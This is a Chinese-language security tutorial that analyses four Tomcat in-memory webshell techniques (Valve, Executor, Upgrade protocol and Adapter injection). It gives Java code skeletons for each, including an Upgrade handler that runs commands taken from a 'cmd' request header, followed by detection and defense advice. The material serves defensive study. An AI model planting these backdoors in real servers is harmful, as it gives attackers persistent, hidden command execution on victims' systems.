Tomcat Valve/Executor/Upgrade/Adapter内存马分析与思考
字数 1471
更新时间 2026-01-31 12:04:28

Tomcat内存马分析与防御教学文档

一、概述

本文档基于对Tomcat Valve/Executor/Upgrade/Adapter四种内存马的深入分析,提供完整的技术原理、实现方法和防御方案。

二、Tomcat架构基础

2.1 容器架构(Container)

Tomcat包含四级核心容器:

  • Engine:引擎,管理多个虚拟站点
  • Host:虚拟主机,部署多个Web应用
  • Context:Web应用程序,包含多个Servlet
  • Wrapper:单个Servlet的封装

处理流程:Engine → Host → Context → Wrapper → Servlet

2.2 管道阀门机制(Pipeline & Valve)

  • Pipeline:每个容器内部的请求处理管道
  • Valve:责任链模式实现,插入自定义处理逻辑
  • Basic Valve:每个Pipeline的基础阀门,负责传递到下一层容器

2.3 连接器架构(Connector)

核心组件

  • EndPoint:网络I/O处理(NioEndpoint/Nio2Endpoint/AprEndpoint)
  • Processor:协议解析(Http11Processor/AjpProcessor)
  • Adapter:协议转换(CoyoteAdapter)

三、Valve内存马

3.1 技术原理

利用Pipeline的动态添加Valve机制,通过继承ValveBase重写invoke方法注入恶意代码。

3.2 关键代码实现

public class EvilValve extends ValveBase {
    @Override
    public void invoke(Request req, Response resp) throws IOException {
        // 恶意代码执行
        Runtime.getRuntime().exec("calc");
    }
}

// 注入代码
StandardContext.getPipeline().addValve(evilValve);

3.3 注入步骤

  1. 获取StandardContext对象
  2. 通过getPipeline()获取Pipeline实例
  3. 调用addValve()添加恶意Valve

四、Executor内存马

4.1 技术原理

替换Tomcat线程池Executor,在请求处理入口插入恶意代码。

4.2 关键注入点

  • 位置:EndPoint → Poller → Executor线程池
  • 方法:通过setExecutor替换原始线程池

4.3 实现代码

// 构造恶意Executor
Executor evilExecutor = new Executor() {
    @Override
    public void execute(Runnable command) {
        Runtime.getRuntime().exec("calc.exe");
        original.execute(command); // 维持正常业务
    }
};

// 获取并替换NioEndpoint的Executor
Method setExecutorMethod = nioEndpoint.getClass().getMethod("setExecutor", Executor.class);
setExecutorMethod.invoke(nioEndpoint, evilExecutor);

五、Upgrade内存马

5.1 技术原理

利用HTTP协议升级机制,通过恶意UpgradeProtocol在协议协商时执行代码。

5.2 关键实现

class EvilUpgrade implements UpgradeProtocol {
    @Override
    public boolean accept(Request request) {
        String cmd = request.getHeader("cmd");
        Runtime.getRuntime().exec(cmd); // 命令执行
        return false; // 阻止正常升级流程
    }
    // 其他方法空实现...
}

// 注入到ProtocolHandler
upgradeProtocols.put("evil", evilUpgrade);

5.3 触发条件

HTTP请求头需包含:

Upgrade: evil
cmd: calc
Connection: upgrade

六、Adapter内存马

6.1 技术原理

替换CoyoteAdapter,在协议转换阶段插入恶意代码。

6.2 实现方案

class EvilAdapter extends CoyoteAdapter {
    public EvilAdapter(Connector connector) {
        super(connector);
    }
    
    @Override
    public void service(Request req, Response res) throws Exception {
        Runtime.getRuntime().exec("calc.exe"); // 恶意代码
        super.service(req, res); // 维持正常功能
    }
}

七、检测与防御方案

7.1 检测方法

  1. Valve检测:监控Pipeline中的Valve数量变化
  2. Executor检测:检查线程池实现类是否被替换
  3. Upgrade检测:审计httpUpgradeProtocols映射表
  4. Adapter检测:验证Adapter实例的类类型

7.2 防御措施

  • 权限控制:限制Web应用对Tomcat内部组件的访问
  • 代码审计:定期检查关键组件的实现类
  • 监控告警:实时监控Pipeline、Executor等核心组件变化
  • 安全加固:禁用不必要的协议升级功能

八、总结

四种内存马分别针对Tomcat架构的不同层次,从容器层面的Valve到连接器层面的Executor/Upgrade/Adapter,攻击面覆盖全面。防御需要多层次的安全防护,包括运行时检测、权限控制和持续监控。

本文档基于先知社区《Tomcat Valve/Executor/Upgrade/Adapter内存马分析与思考》技术文章整理而成,保留了原技术分析的完整性和准确性。

 全屏